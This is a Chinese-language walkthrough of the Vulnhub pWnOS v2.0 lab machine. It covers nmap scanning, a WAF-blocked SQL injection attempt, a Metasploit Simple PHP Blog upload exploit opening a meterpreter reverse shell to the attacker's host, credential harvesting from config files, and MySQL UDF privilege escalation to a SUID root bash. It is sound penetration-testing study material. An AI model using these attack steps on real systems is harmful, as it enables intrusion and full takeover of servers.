Vulnhub-pWnOS v2 0

Sunset

2025-04-02 (Updated: 2025-04-02)

靶机

Vulnhub

pWnOS v2.0

https://www.vulnhub.com/entry/pwnos-20-pre-release,34/

主机发现端口扫描

探测存活主机，150为靶机

nmap -sP 192.168.75.0/24
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-24 12:44 CST
Nmap scan report for 192.168.75.1
Host is up (0.00013s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.75.2
Host is up (0.00015s latency).
MAC Address: 00:50:56:FB:CA:45 (VMware)
Nmap scan report for 192.168.75.150
Host is up (0.00030s latency).
MAC Address: 00:0C:29:5D:85:45 (VMware)
Nmap scan report for 192.168.75.254
Host is up (0.00010s latency).
MAC Address: 00:50:56:FB:E7:F4 (VMware)
Nmap scan report for 192.168.75.131
Host is up.

扫描主机所有端口

nmap -sT -min-rate 10000 -p- 192.168.75.150   
//                 
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-24 12:48 CST
Nmap scan report for 192.168.75.150
Host is up (0.00027s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:5D:85:45 (VMware)

扫描服务版本及系统版本

nmap -sT -sV -O -p22,80  192.168.75.150 
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-24 12:49 CST
Nmap scan report for 192.168.75.150
Host is up (0.00046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
MAC Address: 00:0C:29:5D:85:45 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

扫描漏洞

nmap -script=vuln -p22,80  192.168.75.150 
//
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-24 12:50 CST
Nmap scan report for 192.168.75.150
Host is up (0.00044s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|       httponly flag not set
|   /login.php: 
|     PHPSESSID: 
|       httponly flag not set
|   /login/: 
|     PHPSESSID: 
|       httponly flag not set
|   /index/: 
|     PHPSESSID: 
|       httponly flag not set
|   /register/: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.150
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.75.150:80/login.php
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.75.150:80/register.php
|     Form id: 
|_    Form action: register.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /blog/: Blog
|   /login.php: Possible admin folder
|   /login/: Login page
|   /info.php: Possible information file
|   /icons/: Potentially interesting folder w/ directory listing
|   /includes/: Potentially interesting directory w/ listing on 'apache/2.2.17 (ubuntu)'
|   /index/: Potentially interesting folder
|   /info/: Potentially interesting folder
|_  /register/: Potentially interesting folder
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
MAC Address: 00:0C:29:5D:85:45 (VMware)

难得发现疑似csrf ，但在靶机上用处好像不大，还发现了一些可能感兴趣的路径

web渗透

扫描目录

dirsearch -u 192.168.75.150 -x 403
[13:08:27] Starting:                                                                                                            
[13:08:36] 302 -   20B  - /activate  ->  http://10.10.10.100/index.php      
[13:08:48] 301 -  248B  - /blog  ->  http://192.168.75.150/blog/            
[13:08:49] 200 -    2KB - /blog/                                            
[13:09:01] 301 -  251B  - /includes  ->  http://192.168.75.150/includes/    
[13:09:01] 200 -  546B  - /includes/
[13:09:02] 200 -    9KB - /info                                             
[13:09:02] 200 -    9KB - /info.php
[13:09:05] 200 -  629B  - /login                                            
[13:09:05] 200 -  629B  - /login.php                                        
[13:09:05] 200 -  629B  - /login/super                                      
[13:09:05] 200 -  629B  - /login/                                           
[13:09:05] 200 -  629B  - /login/cpanel.aspx                                
[13:09:05] 200 -  629B  - /login/admin/
[13:09:05] 200 -  629B  - /login/cpanel.php
[13:09:05] 200 -  629B  - /login/cpanel.js
[13:09:05] 200 -  629B  - /login/cpanel.html
[13:09:05] 200 -  629B  - /login/login
[13:09:05] 200 -  629B  - /login/oauth/                                     
[13:09:05] 200 -  629B  - /login/admin/admin.asp                            
[13:09:05] 200 -  629B  - /login/cpanel.jsp                                 
[13:09:05] 200 -  629B  - /login/index
[13:09:05] 200 -  629B  - /login/administrator/                             
[13:09:05] 200 -  629B  - /login/cpanel/
[13:09:18] 200 -  723B  - /register.php                                     
[13:09:18] 200 -  723B  - /register

访问敏感目录
- /blog/ blog博客页面
- /blog/login.php blog登陆页面
- /info.php phpinfo
都是注册或者登陆界面
/index.php泄露了管理员邮箱尝试弱密码爆破admin@isints.com ，爆破失败
- 在/login.php界面尝试sql注入，在**Email Address** 后面加' 爆出sql语句
  1
  admin@isints.com'
  1
  An error occurred in script '/var/www/login.php' on line 47: Query: SELECT * FROM users WHERE email='admin@isints.com'' AND pass='356a192b7913b04c54574d18c28d46e6395428ab' AND active IS NULL
- 加上#号闭合语句让语句为真
  1
  email=admin@isints.com'#&pass=1&submit=Login&submitted=TRUE
  提示：WAF: SQL Injection Attack Detected. Details Logged. Denying Session. Goodbye! 被WAF阻止了，换路子

尝试寻找/blog/ 的漏洞

打开F12，看看能不能查到是什么CMS，找到 Simple PHP Blog 0.4.0 可能就是CMS的名称
网上查阅Simple PHP Blog 0.4.0 的漏洞

敏感文件泄露：https://github.com/advisories/GHSA-p35h-cp5r-m46j ，在/blog/config/ 泄露了password.txt 获得密码 $1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/ 使用 hash-identifier 识别不到

使用msf查找是否存在漏洞

msf6 > search simple php blog
//
Matching Modules
================

   #  Name                                      Disclosure Date  Rank       Check  Description
   -  ----                                      ---------------  ----       -----  -----------
   0  exploit/unix/webapp/sphpblog_file_upload  2005-08-25       excellent  Yes    Simple PHP Blog Remote Command Execution

存在，使用该exploit模块

msf6 > use exploit/unix/webapp/sphpblog_file_upload //使用该模块
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/sphpblog_file_upload) > show options //查看该模块需要配置什么

Module options (exploit/unix/webapp/sphpblog_file_upload):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
                                       metasploit.html
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   URI      /sphpblog        yes       Sphpblog directory path
   VHOST                     no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.75.151   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/webapp/sphpblog_file_upload) > set rhosts 192.168.75.150 //靶机ip
rhosts => 192.168.75.150
msf6 exploit(unix/webapp/sphpblog_file_upload) > set rport 80  //靶机端口
rport => 80
msf6 exploit(unix/webapp/sphpblog_file_upload) > set uri /blog/ //攻击目录
uri => /blog/
msf6 exploit(unix/webapp/sphpblog_file_upload) > exploit //启动攻击

[*] Started reverse TCP handler on 192.168.75.151:4444 
[+] Successfully retrieved hash: $1$weWj5iAZ$NU4CkeZ9jNtcP/qrPC69a/
[+] Successfully removed /config/password.txt
[+] Successfully created temporary account.
[+] Successfully logged in as OTmoxq:ykM0Fg
[+] Successfully retrieved cookie: ii9ppvao0fveedft2314so41u3
[+] Successfully uploaded pVmL1BgOJLbmlN8mucTA.php
[+] Successfully uploaded gy904amvE6YvJp3W7xkC.php
[+] Successfully reset original password hash.
[+] Successfully removed /images/pVmL1BgOJLbmlN8mucTA.php
[*] Calling payload: /images/gy904amvE6YvJp3W7xkC.php
[*] Sending stage (39927 bytes) to 192.168.75.150
[*] Meterpreter session 1 opened (192.168.75.151:4444 -> 192.168.75.150:42500) at 2024-09-24 18:01:33 +0800
[+] Successfully removed /images/gy904amvE6YvJp3W7xkC.php
meterpreter >

攻击成功，输入shell以获得靶机shell

meterpreter > shell
Process 1680 created.
Channel 0 created.
sh: getcwd() failed: No such file or directory
sh: getcwd() failed: No such file or directory

python -c "import pty;pty.spawn('/bin/bash')" //获得交互性更好的shell
shell-init: error retrieving current directory: getcwd: cannot access parent directories: No such file or directory
www-data@web:$

获得www-data的shell

提权

查看权限

www-data@web:$ whoami
www-data
//
www-data@web:$ uname -a
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
//
www-data@web:$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP qlen 1000
    link/ether 00:0c:29:5d:85:45 brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.150/24 brd 192.168.75.255 scope global eth0
    inet6 fe80::20c:29ff:fe5d:8545/64 scope link 
       valid_lft forever preferred_lft forever
//
www-data@web:$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

信息收集

获取数据库连接配置文件，获得数据库用户root，密码goodday

www-data@web:/var/www$ cat mysqli_connect.php 
<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:

$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );

尝试登录，登陆失败，继续寻找mysql连接配置文件

根据上面发现的连接配置的文件来寻找

1
2
3

www-data@web:/var/www$ find / -name '*mysqli_connect*' 2>/dev/null
/var/mysqli_connect.php
/var/www/mysqli_connect.php

www-data@web:/var/www$ cat /var/mysqli_connect.php 
<?php # Script 8.2 - mysqli_connect.php

// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>

获得密码root@ISIntS ，尝试登陆成功

查询数据，发现一个用户Dan ，尝试ssh登录

mysql> select * from users;
select * from users;
+---------+------------+-----------+------------------+------------------------------------------+------------+----------------------------------+---------------------+
| user_id | first_name | last_name | email            | pass                                     | user_level | active                           | registration_date   |
+---------+------------+-----------+------------------+------------------------------------------+------------+----------------------------------+---------------------+
|       1 | Dan        | Privett   | admin@isints.com | c2c4b4e51d9e23c02c15702c136c3e950ba9a4af |          0 | NULL                             | 2011-05-07 17:27:01 |
+---------+------------+-----------+------------------+------------------------------------------+------------+----------------------------------+---------------------+
2 rows in set (0.00 sec)

破译密码得：killerbeesareflying ，ssh尝试登陆失败，密码是错的

因为我们有数据库root权限，所以可以尝试UDF提权

查看secure_priv权限，符合要求

mysql> SHOW VARIABLES LIKE "secure_file_priv";
SHOW VARIABLES LIKE "secure_file_priv";
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

查看plugin路径，存放在 /usr/lib/mysql/plugin

mysql> show variables like '%plugin%';                
show variables like '%plugin%';
+---------------+-----------------------+
| Variable_name | Value                 |
+---------------+-----------------------+
| plugin_dir    | /usr/lib/mysql/plugin |
+---------------+-----------------------+

动态链接库存放在kali 的/usr/share/metasploit-framework/data/exploits/mysql 下，将动态链接库文件传到靶机的/tmp文件夹

cd /usr/share/metasploit-framework/data/exploits/mysql
// 选择版本传到靶机
lib_mysqludf_sys_32.dll  
lib_mysqludf_sys_64.dll
lib_mysqludf_sys_32.so   
lib_mysqludf_sys_64.so

将动态链接库传入到plugin路径

mysql> use mysql;

mysql> create table foo(line blob);
Query OK, 0 rows affected (0.00 sec)

mysql> insert into foo values (load_file('/tmp/lib_mysqludf_sys_64.so'))
Query OK, 1 row affected (0.00 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
Query OK, 1 row affected (0.00 sec)

mysql> create function sys_eval returns string soname 'udf.so';
Query OK, 0 rows affected (0.00 sec)

mysql> select * from mysql.func; 
+----------+-----+--------+----------+
| name     | ret | dl     | type     |
+----------+-----+--------+----------+
| sys_eval |   2 | udf.so | function |
+----------+-----+--------+----------+

mysql> select sys_eval('whoami'); // 函数存在root函数
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+

提权

创建用户自定义函数后，函数获得root权限，通过函数来获得root的shell

mysql> select sys_eval('cp /bin/bash /tmp/binbash; chmod +xs /tmp/binbash');
+---------------------------------------------------------------+
| sys_eval('cp /bin/bash /tmp/binbash; chmod +xs /tmp/binbash') |
+---------------------------------------------------------------+
| NULL                                                          |
+---------------------------------------------------------------+

cp /bin/bash /tmp/binbash：将 /bin/bash 文件复制到 /tmp 目录，并命名为 binbash。
chmod +xs /tmp/binbash：给复制的文件 binbash 设置 SUID 位，这样当用户执行该文件时，进程将以文件拥有者（通常是 root）的权限运行。

获得shell

www-data@web:/tmp$ /tmp/binbash -p
//
binbash-4.2# whoam
root

思路

因为获得了数据库密码，并且是root用户，查看配置适合使用UDF